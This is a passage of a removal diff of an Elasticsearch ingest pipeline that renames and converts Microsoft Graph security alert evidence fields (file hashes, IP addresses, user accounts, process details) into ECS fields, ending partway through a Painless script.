-          target_field: _ingest._value.vm_metadata.resource_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_vmMetadata_subscriptionId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.vmMetadata.subscriptionId
-          tag: rename_foreach_evidence_vmMetadata_subscriptionId
-          target_field: _ingest._value.vm_metadata.subscription_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_vmMetadata_vmId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.vmMetadata.vmId
-          tag: rename_foreach_evidence_vmMetadata_vmId
-          target_field: _ingest._value.vm_metadata.vm_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_detectionStatus
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.detectionStatus
-          tag: rename_foreach_evidence_detectionStatus
-          target_field: _ingest._value.detection_status
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_detection_status
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: event.action
-          tag: append_foreach_evidence_detection_status
-          value: '{{{_ingest._value.detection_status}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_dot_expander_fileDetails
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.fileDetails
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_fileDetails_@odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.@odata.type
-          tag: rename_foreach_evidence_fileDetails_@odata_type
-          target_field: _ingest._value.file_details.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_fileDetails_sha1
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.sha1
-          tag: rename_foreach_evidence_fileDetails_sha1
-          target_field: _ingest._value.file_details.sha1
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_fileDetails_sha1_into_fileHashSha1
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: file.hash.sha1
-          tag: append_foreach_evidence_fileDetails_sha1_into_fileHashSha1
-          value: '{{{_ingest._value.file_details.sha1}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_fileDetails_sha1_into_related_hash
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_foreach_evidence_fileDetails_sha1_into_related_hash
-          value: '{{{_ingest._value.file_details.sha1}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_fileDetails_sha256
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.sha256
-          tag: rename_foreach_evidence_fileDetails_sha256
-          target_field: _ingest._value.file_details.sha256
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_filedetails_sha256_into_file_hash_sha256
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: file.hash.sha256
-          tag: append_foreach_evidence_filedetails_sha256_into_file_hash_sha256
-          value: '{{{_ingest._value.file_details.sha256}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_filedetails_sha256_into_related_hash
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_foreach_evidence_filedetails_sha256_into_related_hash
-          value: '{{{_ingest._value.file_details.sha256}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_fileDetails_fileName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.fileName
-          tag: rename_foreach_evidence_fileDetails_FileName
-          target_field: _ingest._value.file_details.name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_fileDetails_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: file.name
-          tag: append_foreach_evidence_fileDetails_name
-          value: '{{{_ingest._value.file_details.name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_fileDetails_filePath
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.filePath
-          tag: rename_foreach_evidence_fileDetails_filePath
-          target_field: _ingest._value.file_details.path
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_fileDetails_path
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: file.path
-          tag: append_foreach_evidence_fileDetails_path
-          value: '{{{_ingest._value.file_details.path}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_fileSize
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.fileDetails.fileSize
-          tag: convert_foreach_evidence_fileSize
-          target_field: _ingest._value.file_details.size
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.fileDetails.fileSize
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_filePublisher
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.filePublisher
-          tag: rename_foreach_evidence_filePublisher
-          target_field: _ingest._value.file_details.publisher
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_issuer
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.issuer
-          tag: rename_foreach_evidence_issuer
-          target_field: _ingest._value.file_details.issuer
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_signer
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.fileDetails.signer
-          tag: rename_evidence_foreach_signer
-          target_field: _ingest._value.file_details.signer
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_ipAddress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.ipAddress
-          tag: convert_foreach_evidence_ipAddress
-          target_field: _ingest._value.ip_address
-          type: ip
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.ipAddress
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_ip_address_into_host_ip
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: host.ip
-          tag: append_foreach_evidence_ip_address_into_host_ip
-          value: '{{{_ingest._value.ip_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_ip_address_into_related_ip
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.ip
-          tag: append_foreach_evidence_ip_address_into_related_ip
-          value: '{{{_ingest._value.ip_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_countryLetterCode_to_geo_country_iso_code
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: source.geo.country_iso_code
-          tag: append_foreach_evidence_countryLetterCode_to_geo_country_iso_code
-          value: '{{{_ingest._value.country_letter_code}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_url_to_url_original
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: url.original
-          tag: append_foreach_evidence_url_to_url_original
-          value: '{{{_ingest._value.url}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_urls_array_to_url_original
-      if: ctx.json?.evidence instanceof List
-      processor:
-        foreach:
-          field: _ingest._value.urls
-          tag: foreach_append_urls_array_to_url_original
-          ignore_missing: true
-          processor:
-            append:
-              field: url.original
-              tag: append_urls_array_to_url_original
-              value: '{{{_ingest._value}}}'
-              allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_dot_expander_userAccount
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.userAccount
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_userAccount_odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.userAccount.@odata.type
-          tag: renane_foreach_evidence_userAccount_odata_type
-          target_field: _ingest._value.user_account.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_useraccount_domainName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.userAccount.domainName
-          tag: rename_foreach_evidence_useraccount_domainName
-          target_field: _ingest._value.user_account.domain_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_useraccount_domain_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hosts
-          tag: append_foreach_evidence_useraccount_domain_name
-          value: '{{{_ingest._value.user_account.domain_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_useraccount_azureAdUserId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.userAccount.azureAdUserId
-          tag: rename_foreach_evidence_useraccount_azureAdUserId
-          target_field: _ingest._value.user_account.azure_ad_user_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_useraccount_azureAdUserId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_useraccount_azureAdUserId
-          value: '{{{_ingest._value.user_account.azure_ad_user_id}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_useraccount_userPrincipalName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.userAccount.userPrincipalName
-          tag: rename_foreach_evidence_useraccount_userPrincipalName
-          target_field: _ingest._value.user_account.user_principal_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_useraccount_user_principal_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_useraccount_user_principal_name
-          value: '{{{_ingest._value.user_account.user_principal_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_primaryAddress
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.primaryAddress
-          tag: rename_foreach_evidence_primaryAddress
-          target_field: _ingest._value.primary_address
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_primary_address_to_user_email
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: user.email
-          tag: append_foreach_evidence_primary_address_to_user_email
-          value: '{{{_ingest._value.primary_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_primary_address_to_related_user
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_primary_address_to_related_user
-          value: '{{{_ingest._value.primary_address}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_useraccount_accountname
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.userAccount.accountName
-          tag: rename_foreach_evidence_useraccount_accountname
-          target_field: _ingest._value.user_account.account_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_useraccount_accountname
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_useraccount_accountname
-          value: '{{{_ingest._value.user_account.account_name}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_useraccount_userSid
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.userAccount.userSid
-          tag: rename_foreach_evidence_useraccount_userSid
-          target_field: _ingest._value.user_account.user_sid
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_useraccount_userSid
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.user
-          tag: append_foreach_evidence_useraccount_userSid
-          value: '{{{_ingest._value.user_account.user_sid}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_clusterBy
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.clusterBy
-          tag: rename_foreach_evidence_clusterBy
-          target_field: _ingest._value.cluster_by
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_ename_clusterByValue
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.clusterByValue
-          tag: rename_evidence_foreach_clusterByValue
-          target_field: _ingest._value.cluster_by_value
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_emailCount
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.emailCount
-          tag: convert_foreach_evidence_emailCount
-          target_field: _ingest._value.email_count
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.emailCount
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_networkMessageIds
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.networkMessageIds
-          tag: rename_foreach_evidence_networkMessageId
-          target_field: _ingest._value.network_message_ids
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_rename_evidence_objectId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.objectId
-          tag: rename_foreach_evidence_objectId
-          target_field: _ingest._value.object_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_processCommandLine
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.processCommandLine
-          tag: rename_foreach_evidence_processCommandLine
-          target_field: _ingest._value.process.command_line
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_processCommandLine
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.command_line
-          tag: append_foreach_evidence_processCommandLine
-          value: '{{{_ingest._value.process.command_line}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_dot_expander_imageFile
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.imageFile
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imageFile_@odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.@odata.type
-          tag: rename_foreach_evidence_imageFile_@odata_type
-          target_field: _ingest._value.image_file.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imagefile_sha1
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.sha1
-          tag: rename_foreach_evidence_imagefile_sha1
-          target_field: _ingest._value.image_file.sha1
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_imagefile_sha1_into_process_hash_sha1
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.hash.sha1
-          tag: append_foreach_evidence_imagefile_sha1_into_process_hash_sha1
-          value: '{{{_ingest._value.image_file.sha1}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_imagefile_sha1_into_related_hash
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_foreach_evidence_imagefile_sha1_into_related_hash
-          value: '{{{_ingest._value.image_file.sha1}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_imagefile_sha256
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.sha256
-          tag: foreach_evidence_rename_imagefile_sha256
-          target_field: _ingest._value.image_file.sha256
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_imagefile_sha256_into_process_hash_sha256
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.hash.sha256
-          tag: append_foreach_evidence_imagefile_sha256_into_process_hash_sha256
-          value: '{{{_ingest._value.image_file.sha256}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_imagefile_sha256_into_related_hash
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_foreach_evidence_imagefile_sha256_into_related_hash
-          value: '{{{_ingest._value.image_file.sha256}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_dot_expander_parentProcessImageFile
-      if: ctx.json?.evidence instanceof List
-      processor:
-        dot_expander:
-          field: '@odata.type'
-          path: _ingest._value.parentProcessImageFile
-          ignore_failure: true
-          override: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_@odata_type
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.@odata.type
-          tag: rename_foreach_evidence_parentProcessImageFile_@odata_type
-          target_field: _ingest._value.parent_process.image_file.odata_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_sha1
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.sha1
-          tag: rename_foreach_evidence_parentProcessImageFile_sha1
-          target_field: _ingest._value.parent_process.image_file.sha1
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_parentProcessImageFile_sha1_into_process_parent_hash_sha1
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.parent.hash.sha1
-          tag: append_foreach_evidence_parentProcessImageFile_sha1_into_process_parent_hash_sha1
-          value: '{{{_ingest._value.parent_process.image_file.sha1}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_parentProcessImageFile_sha1_into_related_hash
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_foreach_evidence_parentProcessImageFile_sha1_into_related_hash
-          value: '{{{_ingest._value.parent_process.image_file.sha1}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_sha256
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.sha256
-          tag: rename_foreach_evidence_parentProcessImageFile_sha256
-          target_field: _ingest._value.parent_process.image_file.sha256
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_parentProcessImageFile_sha256_into_process_parent_hash_sha256
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.parent.hash.sha256
-          tag: append_foreach_evidence_parentProcessImageFile_sha256_into_process_parent_hash_sha256
-          value: '{{{_ingest._value.parent_process.image_file.sha256}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_parentProcessImageFile_sha256_into_related_hash
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: related.hash
-          tag: append_foreach_evidence_parentProcessImageFile_sha256_into_related_hash
-          value: '{{{_ingest._value.parent_process.image_file.sha256}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_parentProcessId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.parentProcessId
-          tag: convert_foreach_evidence_parentProcessId
-          target_field: _ingest._value.parent_process.id
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.parentProcessId
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_date_parentProcessCreationDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        date:
-          field: _ingest._value.parentProcessCreationDateTime
-          tag: date_foreach_evidence_parentProcessCreationDateTime
-          target_field: _ingest._value.parent_process.creation_datetime
-          formats:
-            - ISO8601
-          on_failure:
-            - remove:
-                field: _ingest._value.parentProcessCreationDateTime
-                ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_parentProcessCreationDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.parent.start
-          tag: append_foreach_evidence_parentProcessCreationDateTime
-          value: '{{{_ingest._value.parent_process.creation_datetime}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_processId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.processId
-          tag: convert_foreach_evidence_processId
-          target_field: _ingest._value.process.id
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.processId
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_date_processCreationDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        date:
-          field: _ingest._value.processCreationDateTime
-          tag: date_foreach_evidence_processCreationDateTime
-          target_field: _ingest._value.process.creation_datetime
-          formats:
-            - ISO8601
-          on_failure:
-            - remove:
-                field: _ingest._value.processCreationDateTime
-                ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_processCreationDateTime
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.start
-          tag: append_foreach_evidence_processCreationDateTime
-          value: '{{{_ingest._value.process.creation_datetime}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_process_name
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: process.name
-          tag: append_evidence_imageFile_to_process_name
-          value: '{{{_ingest._value.imageFile.fileName}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imageFile_filename
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.fileName
-          tag: rename_foreach_evidence_imageFile_filename
-          target_field: _ingest._value.image_file.name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imageFile_filepath
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.filePath
-          tag: rename_foreach_evidence_imageFile_filepath
-          target_field: _ingest._value.image_file.path
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imageFile_filePublisher
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.filePublisher
-          tag: rename_foreach_evidence_imageFile_filePublisher
-          target_field: _ingest._value.image_file.publisher
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_imagefile_filesize
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.imageFile.fileSize
-          tag: convert_foreach_evidence_imagefile_filesize
-          target_field: _ingest._value.image_file.size
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.imageFile.fileSize
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imagefile_issuer
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.issuer
-          tag: rename_foreach_evidence_imagefile_issuer
-          target_field: _ingest._value.image_file.issuer
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_imageFile_signer
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.imageFile.signer
-          tag: rename_foreach_evidence_imageFile_signer
-          target_field: _ingest._value.image_file.signer
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_filename
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.fileName
-          tag: rename_foreach_evidence_parentProcessImageFile_filename
-          target_field: _ingest._value.parent_process.image_file.name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_parentProcessImageFile_filepath
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.filePath
-          tag: rename_foreach_evidence_parentProcessImageFile_filepath
-          target_field: _ingest._value.parent_process.image_file.path
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_filepublisher
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.filePublisher
-          tag: rename_foreach_evidence_parentProcessImageFile_filepublisher
-          target_field: _ingest._value.parent_process.image_file.publisher
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_convert_parentProcessImageFile_filesize
-      if: ctx.json?.evidence instanceof List
-      processor:
-        convert:
-          field: _ingest._value.parentProcessImageFile.fileSize
-          tag: convert_foreach_evidence_parentProcessImageFile_filesize
-          target_field: _ingest._value.parent_process.image_file.size
-          type: long
-          ignore_missing: true
-          on_failure:
-            - remove:
-                field: _ingest._value.parentProcessImageFile.fileSize
-            - append:
-                field: error.message
-                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_issuer
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.issuer
-          tag: rename_foreach_evidence_parentProcessImageFile_issuer
-          target_field: _ingest._value.parent_process.image_file.issuer
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_parentProcessImageFile_signer
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.parentProcessImageFile.signer
-          tag: rename_foreach_evidence_parentProcessImageFile_signer
-          target_field: _ingest._value.parent_process.image_file.signer
-          ignore_missing: true
-  - script:
-      description: Set process and file ECS fields from evidence (executables, pids, file size).
-      tag: script_set_process_fields_from_evidence
-      lang: painless
-      if: ctx.json?.evidence instanceof List
-      source: |
-        def convertToOrderedArray(def list) {
-          def result = new ArrayList();
-          for (element in list) {
-            result.add(element);
-          }
-          Collections.sort(result);
-          return result;
-        }
-
-        String joinPathAndName(String path, String name) {
-          if (path == null || name == null) {
-            return null;
-          }
-          String separator = path.contains("\\") ? "\\" : "/";
-          if (!path.endsWith(separator)) {
-            path = path + separator;
-          }
-          return path + name;
-        }
-
-        void maybeAddExecutable(def destination, def imageFile) {
-          if (imageFile == null) {
-            return;
-          }
-          if (imageFile?.path != null && imageFile?.name != null) {
-            destination.add(joinPathAndName(imageFile.path, imageFile.name));
-          } else if (imageFile?.name != null) {
-            destination.add(imageFile.name);
-          }
-        }
-
-        def processExecutable = new HashSet();
-        def processParentExecutable = new HashSet();
-        def fileSize = new HashSet();
-        def processPid = new HashSet();
-        def processParentPid = new HashSet();
-
-        for (evidence in ctx.json.evidence) {
-          maybeAddExecutable(processExecutable, evidence?.image_file);
-          maybeAddExecutable(processParentExecutable, evidence?.parent_process?.image_file);
-
-          if (evidence?.odata_type == null) {
-            continue;
-          }
-          if (evidence.odata_type == '#microsoft.graph.security.fileEvidence') {
-            if (evidence?.file_details?.size != null) {
-              fileSize.add(evidence.file_details.size);
-            }
-          } else if (evidence.odata_type == '#microsoft.graph.security.processEvidence') {
-            if (evidence?.process?.id != null) {
-              processPid.add(evidence.process.id);
-            }
-            if (evidence?.parent_process?.id != null) {
-              processParentPid.add(evidence.parent_process.id);
-            }
-          }
-        }
-
-        ctx.file = ctx.file ?: [:];
-        ctx.process = ctx.process ?: [:];
-        ctx.process.parent = ctx.process.parent ?: [:];
-
-        if (!fileSize.isEmpty()) {
-          ctx.file.size = convertToOrderedArray(fileSize);
-        }
